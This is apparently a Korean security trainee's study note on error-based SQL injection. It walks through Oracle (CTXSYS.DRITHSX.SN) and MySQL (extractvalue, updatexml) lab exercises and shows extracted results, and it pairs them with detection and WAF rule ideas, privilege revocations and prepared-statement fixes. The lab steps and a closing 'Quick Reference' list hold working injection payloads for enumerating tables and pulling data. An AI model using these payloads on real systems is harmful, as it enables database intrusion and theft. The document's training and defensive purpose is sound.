📄 2026.01.29 (Day 66) - Error-based SQL Injection
1. 핵심 개념 정리
Error-based SQL Injection 기본 원리
| # | 핵심 개념 | 설명 | 실무/보안 관점 |
|---|---|---|---|
| 1 | Error-based SQL Injection 정의 | 의도적으로 SQL 에러를 유발하여 에러 메시지 내에 쿼리 결과를 포함시키는 공격 기법 | Union-based가 불가능한 환경에서 효과적이며, 에러 메시지 노출 설정이 잘못된 시스템에 치명적 |
| 2 | 에러 메시지 활용 | DB 에러 메시지에 서브쿼리 결과가 포함되어 출력됨 | 개발 환경의 상세 에러 메시지가 운영 환경에 그대로 노출되는 경우 취약 |
| 3 | 1 Row, 1 Column 제약 | 한 번에 하나의 행, 하나의 컬럼만 추출 가능 | Union-based보다 느리지만 탐지 회피 가능성이 높음 |
| 4 | DBMS별 에러 함수 | Oracle: CTXSYS.DRITHSX.SN, MySQL: extractvalue, updatexml 등 | DBMS별로 고유한 에러 유발 함수를 악용 |
| 5 | 서브쿼리 중첩 | 에러 유발 함수의 인자로 서브쿼리를 전달하여 결과 추출 | 복잡한 서브쿼리 구조로 WAF 우회 가능 |
Oracle Error-based SQL Injection
| # | 핵심 개념 | 설명 | 실무/보안 관점 |
|---|---|---|---|
| 6 | CTXSYS.DRITHSX.SN 함수 | Oracle Text의 시소러스 관련 함수로, 존재하지 않는 키워드 사전 조회 시 에러 발생 | 시스템 스키마 함수 실행 권한이 있는 경우 악용 가능 |
| 7 | 에러 메시지 구조 | DRG-11701: [데이터] 키워드 사전이 존재하지 않습니다 | 에러 메시지에 서브쿼리 결과가 그대로 노출됨 |
| 8 | ROWNUM을 이용한 순차 추출 | 한 번에 하나의 행만 추출하므로 ROWNUM으로 행 번호 지정 | WHERE r=1, r=2, … 순차적으로 반복하여 모든 데이터 추출 |
| 9 | LISTAGG 함수 활용 | 여러 행을 하나의 문자열로 결합하여 한 번에 추출 | 컬럼명이 많을 때 효율적이지만 문자열 길이 제한 존재 |
| 10 | CONCAT 함수 활용 | 여러 컬럼을 하나의 문자열로 결합 | 이름, 이메일, 비밀번호 등을 한 번에 추출 가능 |
MySQL Error-based SQL Injection
| # | 핵심 개념 | 설명 | 실무/보안 관점 |
|---|---|---|---|
| 11 | extractvalue 함수 | XML 데이터에서 값을 추출하는 함수로, 잘못된 XPath 경로 입력 시 에러 발생 | XPATH syntax error에 서브쿼리 결과 포함 |
| 12 | concat과 0x3a 활용 | 콜론(:)을 16진수(0x3a)로 표현하여 잘못된 XPath 경로 생성 | 콜론으로 시작하는 경로는 유효하지 않아 에러 발생 |
| 13 | updatexml 함수 | extractvalue와 유사하게 XML 업데이트 함수로 에러 유발 | 두 함수 모두 사용 가능하므로 하나가 차단되면 다른 것 사용 |
| 14 | LIMIT을 이용한 순차 추출 | MySQL은 LIMIT 구문으로 특정 행 선택 | LIMIT 0,1 -> LIMIT 1,1 -> LIMIT 2,1 순차 반복 |
| 15 | 에러 메시지 길이 제한 | extractvalue는 결과값이 32자까지만 출력됨 | 긴 데이터는 substring으로 분할하여 추출 필요 |
2. 실습 내용 정리
실습 64-1: Oracle Error-based SQL Injection 기초
목표: CTXSYS.DRITHSX.SN 함수를 이용한 에러 기반 데이터 추출 기법 학습
쿼리 구조: SELECT name, addr, hobby, age FROM friends WHERE name LIKE ‘%검색어%’
공격 과정:
-
공격 포인트 파악
- 검색어 ’ 입력 -> 에러 발생 확인 (SQL Injection 취약점 존재)
- 에러 메시지가 상세하게 노출됨
-
에러 유발 함수 테스트
- 검색어: 김%’ and CTXSYS.DRITHSX.SN(user,‘hacker’) =‘j
- 에러 메시지: DRG-11701: hacker 키워드 사전이 존재하지 않습니다
-
서브쿼리로 현재 사용자 확인
- 검색어: 김%’ and CTXSYS.DRITHSX.SN(user,(select user from dual)) =‘j
- 에러 메시지: DRG-11701: RICHMAN 키워드 사전이 존재하지 않습니다 -> 현재 DB 사용자: RICHMAN
-
테이블 개수 확인
- 검색어: 김%’ and CTXSYS.DRITHSX.SN(user,(select count(table_name) from user_tables)) =‘j
- 에러: DRG-11701: 2 키워드 사전이 존재하지 않습니다 -> 테이블 개수: 2개
-
첫 번째 테이블명 추출 (ROWNUM 활용)
- 검색어: 김%’ and CTXSYS.DRITHSX.SN(user,(select j from (select table_name j, rownum k from user_tables) where k = 1)) =‘j
- 에러: DRG-11701: FRIENDS 키워드 사전이 존재하지 않습니다
-
두 번째 테이블명 추출 (k = 2)
- 에러: DRG-11701: MEMBERS 키워드 사전이 존재하지 않습니다
CTXSYS.DRITHSX.SN 함수 메커니즘:
- CTXSYS.DRITHSX.SN(user, ‘키워드’) -> Oracle Text의 시소러스 관련 함수, 두 번째 인자를 키워드 사전 이름으로 인식
- 존재하지 않는 키워드 사전 조회 시 에러 발생: DRG-11701: [키워드] 키워드 사전이 존재하지 않습니다
- 서브쿼리 결과를 두 번째 인자로 전달 -> 에러 메시지에 서브쿼리 결과 포함되어 출력
제약사항: 1 Row, 1 Column만 반환해야 함, 다중 행 반환 시 ORA-01427 에러 발생
보안 인사이트:
- 에러 메시지가 상세하게 노출되면 DB 구조와 데이터를 완전히 탈취당할 수 있음
- CTXSYS 같은 시스템 스키마 함수 실행 권한을 웹 애플리케이션 계정에서 제거 필수
- 에러 메시지는 로그에만 기록하고 사용자에게는 일반화된 메시지만 표시
실습 64-2: Oracle Error-based SQL Injection - 게시판 문제 (문제 6번)
목표: 게시판 검색 기능에서 Error-based SQL Injection으로 특정 테이블의 데이터 탈취
쿼리 구조: SELECT * FROM BOARD WHERE CONTENT LIKE ‘%’||‘입력값’||’%’
공격 과정:
-
공격 포인트 파악: ’ 입력 -> Java 에러 발생, Oracle DB 에러 메시지 화면에 직접 노출됨
-
에러 유발 함수 테스트: qwe%’ and CTXSYS.DRITHSX.SN(user,‘hacker’) =‘j -> 에러 발생 확인
-
테이블 개수 확인
- 에러: DRG-11701: 6 -> 테이블 개수 6개
-
테이블명 순차 추출 (k=1 ~ k=6)
- 결과: 1:BOARD, 2:COMM_FILE, 3:COMM_MDI_FILE, 4:MEMBER, 5:EQST_ANSWER, 6:ZIPCODE
-
EQST_ANSWER 테이블의 컬럼 개수 확인 후 컬럼명 추출
- 검색어: qwe%’ and CTXSYS.DRITHSX.SN(user,(select column_name from (select rownum as r, column_name from user_tab_columns where table_name=‘EQST_ANSWER’) where r=1)) =‘j
- 결과: ANSWER_COLUMN
-
LISTAGG 함수로 여러 컬럼명 한 번에 추출 (선택적)
- 검색어에 LISTAGG(column_name, ‘, ‘) WITHIN GROUP (ORDER BY 1) 사용
- 결과: ANSWER_COLUMN, REG_ACCT_ID, REG_DT, …
-
최종 데이터 추출 (ROWNUM r=1)
- 에러: DRG-11701: skinfosec_eqst_lms_system -> 정답: skinfosec_eqst_lms_system
ROWNUM을 이용한 순차 추출 패턴:
- SELECT a FROM (SELECT 컬럼 a, ROWNUM b FROM 테이블) WHERE b = 행번호
- WHERE b = 1, b = 2, b = 3, … 순차 반복으로 모든 행 추출
- 단점: 한 번에 하나씩 추출 (느림), 반복 횟수가 많아 로그에 패턴 노출
LISTAGG 함수 활용:
- SELECT LISTAGG(컬럼명, ‘, ‘) WITHIN GROUP (ORDER BY 1) FROM 테이블 WHERE 조건
- 여러 행을 하나의 문자열로 결합하여 한 번에 추출
- 장점: 여러 행 한 번에 추출 (빠름), 반복 횟수 감소로 탐지 회피
- 단점: 문자열 길이 제한 (4000자), 데이터가 많으면 잘림
보안 고려사항:
- CTXSYS.DRITHSX.SN 함수 호출 로그 탐지 필요
- DRG-11701 에러 반복 발생 (동일 IP)
- ROWNUM을 이용한 순차 접근 (WHERE r=1, r=2, r=3, …) 패턴 탐지
실습 64-3: MySQL Error-based SQL Injection - extractvalue 함수 (문제 6번)
목표: MySQL의 extractvalue 함수를 이용한 Error-based SQL Injection
쿼리 구조: SELECT * FROM BOARD WHERE … AND (TITLE LIKE ‘%입력값%’ OR CONTENT LIKE ‘%입력값%’)
공격 과정:
-
공격 포인트 파악: ’ 입력 -> XPATH syntax error 발생 -> XML 관련 함수를 이용한 Error-Based SQL Injection 가능
-
extractvalue 함수 테스트
- 검색어: CCC%’ and extractvalue(‘1’, concat(0x3a, (select ‘hacker2’)))=‘j%
- 결과: XPATH syntax error: ‘:hacker2’ (0x3a는 콜론(:)의 16진수 표현)
-
테이블 개수 확인
- 검색어: CCC%’ and extractvalue(‘1’, concat(0x3a, (select count(table_name) from information_schema.tables where table_schema = database())))=‘j%
- 결과: XPATH syntax error: ‘:5’ -> 테이블 개수 5개
-
테이블명 순차 추출 (LIMIT 활용)
- limit 0,1: board / limit 1,1: comm_file / limit 2,1: member / limit 3,1: eqst_answer / limit 4,1: zipcode
-
eqst_answer 테이블 컬럼명 확인
- 검색어에 information_schema.columns where table_name=‘eqst_answer’ limit 0,1
- 결과: XPATH syntax error: ‘:answer_column’
-
최종 데이터 추출
- 검색어: qwe%’ and extractvalue(1, concat(0x3a, (select answer_column from eqst_answer limit 0,1))) and ‘1’=‘1
- 결과: XPATH syntax error: ‘:skinfosec_eqst_lms_system’ -> 정답: skinfosec_eqst_lms_system
extractvalue 함수 메커니즘:
- extractvalue(xml_document, xpath_expression) 구조
- concat(0x3a, (select user())) -> 0x3a(콜론) + 서브쿼리 결과 = :root
- extractvalue(‘1’, ‘:root’) -> ‘:root’는 유효하지 않은 XPath 경로 -> 에러 발생: XPATH syntax error: ‘:root’
- 에러 메시지에 서브쿼리 결과 포함
LIMIT를 이용한 순차 추출:
- LIMIT 0,1: 첫 번째 행
- LIMIT 1,1: 두 번째 행
- LIMIT 2,1: 세 번째 행 (이하 순차 증가)
extractvalue vs updatexml:
- extractvalue: 2개 인자, 에러 유발 방식 동일
- updatexml: 3개 인자 (xml_document, xpath_expression, new_value)
- 하나가 차단되면 다른 것 사용 가능
에러 메시지 길이 제한:
- extractvalue 에러 메시지는 최대 32자까지만 출력됨
- 긴 데이터는 substring(data, 1, 30), substring(data, 31, 30) 등으로 분할하여 추출
보안 고려사항:
- extractvalue, updatexml 함수 사용 및 XPATH syntax error 반복 발생 탐지
- concat(0x3a, …) 패턴, LIMIT 순차 증가 패턴 탐지
- 에러 메시지 상세 정보 노출 차단
실습 64-4: Oracle Blind SQL Injection 기초 (문제 4번)
목표: 쿼리 결과가 직접 노출되지 않는 환경에서 참/거짓 차이를 이용한 데이터 추출
공격 과정:
-
DB 사용자명 길이 확인
- 검색어: 523%’ and (select length(user) from dual) = 4 and ‘k%’=‘k -> 게시물 표시됨
- 검색어: 523%’ and (select length(user) from dual) = 5 and ‘k%’=‘k -> 게시물 표시 안됨 -> user 길이: 4글자
-
첫 번째 글자 ASCII 값 추출 (이진 탐색)
-
83 -> 표시 안됨 -> 83 이하 / > 73 -> 표시 안됨 -> 73 이하 / = 73 -> 표시됨 -> ‘I’ (ASCII 73)
-
-
두 번째 글자: ‘N’ (ASCII 78)
-
세 번째 글자: ‘F’ (ASCII 70)
-
네 번째 글자: ‘6’ (ASCII 54)
-
최종 결과: user = INF6
이진 탐색 적용:
- ASCII 범위: 0~127
- 1단계: > 64? YES -> 범위 65
127 / NO -> 범위 064 - 2단계: 새로운 중간값과 비교, 범위 계속 절반씩 좁혀 감
- 최대 7번 비교로 문자 특정
3. DBMS별 Error-based SQL Injection 비교표
Oracle vs MySQL Error 함수 비교
| 항목 | Oracle | MySQL | 비고 |
|---|---|---|---|
| 에러 유발 함수 | CTXSYS.DRITHSX.SN | extractvalue, updatexml | DBMS별 고유 함수 악용 |
| 에러 메시지 패턴 | DRG-11701: [데이터] 키워드 사전이 존재하지 않습니다 | XPATH syntax error: ‘:[데이터]’ | 에러 메시지에 서브쿼리 결과 포함 |
| 순차 추출 방법 | ROWNUM | LIMIT | 한 번에 하나씩 추출 |
| 문자열 결합 | CONCAT, 두 수직바, LISTAGG | CONCAT, 두 수직바 (MySQL 8.0+) | 여러 컬럼을 하나로 합침 |
| 에러 메시지 길이 | 제한 없음 | 32자 제한 | MySQL은 substring으로 분할 필요 |
| 필요 권한 | CTXSYS 스키마 함수 실행 권한 | extractvalue 함수 사용 권한 | 권한 제거로 방어 가능 |
SQL Injection 공격 유형별 특징 정리
| 공격 유형 | 추출 단위 | 속도 | 탐지 난이도 | 실무 빈도 | 주요 제약사항 |
|---|---|---|---|---|---|
| Union-based | 여러 Row, 여러 Column | 빠름 | 중간 | 0.1% | 쿼리 결과가 화면에 출력되어야 함 |
| Error-based | 1 Row, 1 Column | 느림 | 낮음 | 중간 | 에러 메시지가 상세히 노출되어야 함 |
| Blind SQL Injection | 1 Row, 1 Column, 1 Char | 매우 느림 | 높음 | 높음 | 참/거짓 응답 차이 필요 |
| Time-based | 1 Row, 1 Column, 1 Char | 매우 느림 | 매우 높음 | 높음 | 응답 시간 차이로만 판별 |
4. 심화 분석
Error-based SQL Injection 자동화 원리
Oracle 자동화 흐름:
- 테이블 개수 확인: CTXSYS.DRITHSX.SN(user,(select count(table_name) from user_tables)) -> DRG-11701: N
- 테이블명 순차 추출: ROWNUM 기반 반복 (b=1, 2, 3, …) -> DRG-11701: 테이블명
- 목표 테이블 컬럼명 추출: LISTAGG로 한 번에 또는 순차 추출
- 데이터 추출: 목표 컬럼명으로 최종 데이터 조회
MySQL 자동화 흐름:
- 테이블 개수 확인: extractvalue(1, concat(0x3a, (select count(…) from information_schema.tables))) -> ‘:N’
- 테이블명 순차 추출: LIMIT 순차 증가 (limit 0,1, 1,1, 2,1, …)
- 컬럼명 추출: information_schema.columns에서 LIMIT 순차 추출
- 데이터 추출: 목표 테이블에서 LIMIT으로 순차 조회
취약한 코드 vs 방어 코드
취약한 게시판 검색 코드 예시:
- keyword = request.args.get(‘keyword’)
- query = “SELECT … FROM board WHERE title LIKE ‘%” + keyword + “%’”
- except Exception as e: return f"Error: {str(e)}", 500 (에러 그대로 노출 - 매우 위험)
방어 코드 (Prepared Statement + 에러 처리):
- query = “SELECT … FROM board WHERE title LIKE ?”
- result = db.execute(query, (’%’ + keyword + ‘%’,))
- except Exception as e: logger.error(…); return “검색 중 오류가 발생했습니다.”, 500
5. 실무/보안 적용
보안 전문가 관점 - Error-based SQL Injection 탐지 및 대응
| 단계/유형 | 탐지 포인트 | 로그 예시 | 대응 방안 |
|---|---|---|---|
| Oracle Error-based | CTXSYS, DRITHSX 키워드 포함, DRG-11701 에러 반복, user_tables/user_tab_columns 조회, ROWNUM/LISTAGG 함수 사용 | qwe%27+and+CTXSYS.DRITHSX.SN, DRG-11701 에러 10회 연속 | 즉시 해당 세션 차단, CTXSYS 스키마 함수 실행 권한 제거, WAF에서 CTXSYS 키워드 차단, 에러 메시지 필터링 |
| MySQL Error-based | extractvalue/updatexml 함수 사용, XPATH syntax error 반복, concat(0x3a, …) 패턴, information_schema 접근 | extractvalue(1,concat(0x3a, …) XPATH syntax error 발생 | extractvalue/updatexml 사용 제한, 0x3a (콜론) 패턴 탐지, information_schema 접근 제한, 에러 메시지 일반화 |
| 반복 패턴 탐지 | 동일 IP에서 ROWNUM 순차 증가, LIMIT 값 순차 증가, 5분 내 20회 이상 에러 발생 | where r=1, where r=2, … / limit 0,1, limit 1,1, … | Rate Limiting 강화, IP 블랙리스트 등록, CAPTCHA 도입, 침해사고 대응팀 알림 |
SIEM 탐지 룰 예시 (Splunk SPL)
Oracle Error-based SQL Injection 탐지:
- index=web_logs에서 uri 필드에서 CTXSYS, DRITHSX, ORDSYS 추출
- response_body에서 DRG-11701 패턴 매칭
- src_ip별 count > 5이면 severity=“critical”
MySQL Error-based SQL Injection 탐지:
- index=web_logs에서 uri 필드에서 extractvalue, updatexml 추출 및 0x3a 포함 여부
- response_body에서 XPATH syntax error 패턴 매칭
- src_ip별 count > 5이면 severity=“critical”
순차 추출 패턴 탐지:
- rownum.*?= 숫자 패턴 및 limit 숫자,1 패턴 추출
- 동일 IP에서 count > 10이면 severity=“high”
WAF 룰셋 예시
ModSecurity WAF Rule 주요 항목:
- Rule 1: Oracle Error-based 함수 탐지 (CTXSYS, DRITHSX, ORDSYS, ORD_DICOM)
- Rule 2: MySQL Error-based 함수 탐지 (extractvalue, updatexml)
- Rule 3: 0x3a (콜론) 패턴 탐지 (0x3a, concat(0x))
- Rule 4: ROWNUM 순차 접근 탐지 (rownum = 숫자)
- Rule 5: LISTAGG 함수 탐지
보안 설정 체크리스트
에러 메시지 설정:
- 개발 환경: 상세 에러 메시지 표시 (디버깅용)
- 운영 환경: display_errors = Off, 에러는 로그에만 기록, 사용자에게는 일반 메시지만 표시
Oracle 시스템 스키마 함수 권한 제거:
- REVOKE EXECUTE ON CTXSYS.DRITHSX FROM webapp_user;
- REVOKE EXECUTE ON ORDSYS.ORD_DICOM FROM webapp_user;
MySQL은 함수별 권한 제어가 어려우므로 애플리케이션 레벨 방어 필수
6. 배운 점 및 인사이트
새로 알게 된 점
- Error-based SQL Injection의 효율성: Union-based가 불가능한 환경에서도 에러 메시지만 노출되면 데이터를 추출할 수 있다는 점이 인상 깊었습니다. 특히 CTXSYS.DRITHSX.SN과 extractvalue 같은 DBMS별 고유 함수를 악용하는 방식이 매우 창의적이라고 느꼈습니다.
- LISTAGG 함수의 실전 활용: Oracle의 LISTAGG 함수를 사용하면 여러 행을 하나의 문자열로 결합하여 한 번에 추출할 수 있어, 반복 횟수를 크게 줄일 수 있다는 점을 배웠습니다.
- extractvalue의 32자 제한: MySQL의 extractvalue 함수는 에러 메시지가 32자까지만 출력된다는 제약이 있어, 긴 데이터는 substring으로 분할해야 한다는 점을 알게 되었습니다.
- ROWNUM vs LIMIT 차이: Oracle은 ROWNUM을 사용하고 MySQL은 LIMIT를 사용하여 순차 추출한다는 점에서 DBMS별 문법 차이를 다시 한번 확인했습니다.
- 에러 메시지 노출의 심각성: 개발 환경의 상세 에러 메시지 설정이 운영 환경에 그대로 적용되면 전체 DB 구조와 데이터가 완전히 노출될 수 있다는 점을 실습을 통해 체감했습니다.
이전 학습과의 연결고리
- Day 65 Union-based & Blind SQL Injection과 비교: Union-based는 빠르지만 쿼리 결과가 화면에 출력되어야 하고, Blind는 느리지만 참/거짓 차이만 있으면 되며, Error-based는 중간 속도지만 에러 메시지가 노출되어야 한다는 각 기법의 장단점과 적용 환경을 명확히 이해했습니다.
- SIEM 로그 분석 확장: Error-based 공격은 CTXSYS, extractvalue 같은 특정 키워드와 DRG-11701, XPATH syntax error 같은 에러 패턴으로 탐지할 수 있다는 점을 배워, SIEM 탐지 룰 작성에 활용할 수 있겠습니다.
실무 적용 아이디어
보안 전문가 관점:
- SIEM 탐지 룰 고도화: CTXSYS, DRITHSX, extractvalue 키워드 탐지뿐만 아니라 ROWNUM 순차 증가, LIMIT 순차 증가 패턴을 탐지하는 룰을 추가하여 Error-based SQL Injection 초기 단계에서 차단할 수 있겠습니다.
- 에러 메시지 감사 프로세스: 운영 환경의 모든 웹 애플리케이션에 대해 에러 메시지 노출 여부를 점검하고, 상세 에러가 노출되는 경우 즉시 일반화된 에러 페이지로 변경하는 프로세스를 수립해야겠습니다.
- DB 권한 최소화 점검: 웹 애플리케이션 DB 계정이 CTXSYS, ORDSYS 같은 시스템 스키마 함수를 실행할 수 있는 권한이 있는지 전수 조사하고, 불필요한 권한은 즉시 제거해야겠습니다.
7. Quick Reference
Oracle Error-based SQL Injection 페이로드 모음
기본 테스트: 김%’ and CTXSYS.DRITHSX.SN(user,‘hacker’) =‘j
현재 사용자 확인: 김%’ and CTXSYS.DRITHSX.SN(user,(select user from dual)) =‘j
테이블 개수 확인: 김%’ and CTXSYS.DRITHSX.SN(user,(select count(table_name) from user_tables)) =‘j
테이블명 순차 추출: 김%’ and CTXSYS.DRITHSX.SN(user,(select j from (select table_name j, rownum k from user_tables) where k = 1)) =‘j
LISTAGG로 컬럼명 일괄 추출: 김%’ and CTXSYS.DRITHSX.SN(user,(select LISTAGG(column_name, ‘, ‘) WITHIN GROUP (ORDER BY 1) from user_tab_columns where table_name = ‘테이블명’)) =‘j
MySQL Error-based SQL Injection 페이로드 모음
기본 테스트: test%’ and extractvalue(1, concat(0x3a, (select ‘hacker’))) and ‘1’=‘1
현재 사용자 확인: test%’ and extractvalue(1, concat(0x3a, (select user()))) and ‘1’=‘1
테이블명 순차 추출: test%’ and extractvalue(1, concat(0x3a, (select table_name from information_schema.tables where table_schema=database() limit 0,1))) and ‘1’=‘1
updatexml 함수 (extractvalue 차단 시): test%’ and updatexml(1, concat(0x3a, (select user())), 1) and ‘1’=‘1
긴 데이터 분할 추출: test%’ and extractvalue(1, concat(0x3a, (select substring(컬럼명, 1, 30) from 테이블명 limit 0,1))) and ‘1’=‘1
DBMS별 핵심 함수 요약표
| 구분 | Oracle | MySQL | 용도 |
|---|---|---|---|
| 에러 함수 | CTXSYS.DRITHSX.SN | extractvalue, updatexml | 에러 메시지에 서브쿼리 결과 포함 |
| 문자열 결합 | CONCAT, 두 수직바 | CONCAT, 두 수직바 (8.0+) | 여러 컬럼을 하나로 합침 |
| 행 결합 | LISTAGG | GROUP_CONCAT | 여러 행을 하나의 문자열로 |
| 순차 추출 | ROWNUM | LIMIT | 한 번에 하나씩 추출 |
| 문자열 분할 | SUBSTR | SUBSTRING | 긴 데이터 분할 |
8. 트러블슈팅
| 문제 | 원인 | 해결 방법 |
|---|---|---|
| CTXSYS.DRITHSX.SN 함수 실행 시 권한 에러 | 웹 애플리케이션 계정에 CTXSYS 스키마 실행 권한 없음 | 이는 정상적인 보안 설정, 공격자 입장에서는 다른 에러 함수 시도, 방어자 입장에서는 권한 제거 유지 |
| extractvalue 결과가 32자까지만 출력됨 | MySQL extractvalue 함수의 에러 메시지 길이 제한 | substring 함수로 데이터 분할 (substring(data, 1, 30), 31, 30, …) 또는 Union-based나 Blind로 전환 |
| 서브쿼리 실행 시 ORA-01427 에러 | 다중 행 반환 (1 Row 제약 위반) | WHERE ROWNUM=1 추가하여 단일 행만 반환, 또는 순차 추출 |
| LISTAGG 결과가 잘림 | 문자열 길이 제한 (4000자) | 컬럼이 너무 많은 경우 순차 추출로 전환, 또는 여러 번 나눠서 추출 |
| 에러 메시지가 전혀 노출되지 않음 | 운영 환경의 올바른 에러 처리 | Error-based 공격 불가능, Union-based 또는 Blind SQL Injection으로 전환 |
Today’s Insight:
Error-based SQL Injection은 Union-based와 Blind SQL Injection의 중간 형태로, 에러 메시지만 상세하게 노출되면 효과적으로 데이터를 추출할 수 있는 강력한 공격 기법입니다. Oracle의 CTXSYS.DRITHSX.SN과 MySQL의 extractvalue처럼 DBMS별 고유 함수를 악용하는 방식이 매우 창의적이며, 특히 LISTAGG 함수를 활용하면 반복 횟수를 크게 줄여 탐지 회피 가능성을 높일 수 있다는 점이 인상 깊었습니다. 보안 전문가로서 가장 중요한 교훈은 ‘에러 메시지를 사용자에게 절대 상세히 노출해서는 안 된다’는 점과, ‘시스템 스키마 함수 실행 권한을 웹 애플리케이션 계정에서 제거해야 한다’는 점입니다. 배포 전 에러 처리 설정을 반드시 점검하는 프로세스를 수립해야겠습니다.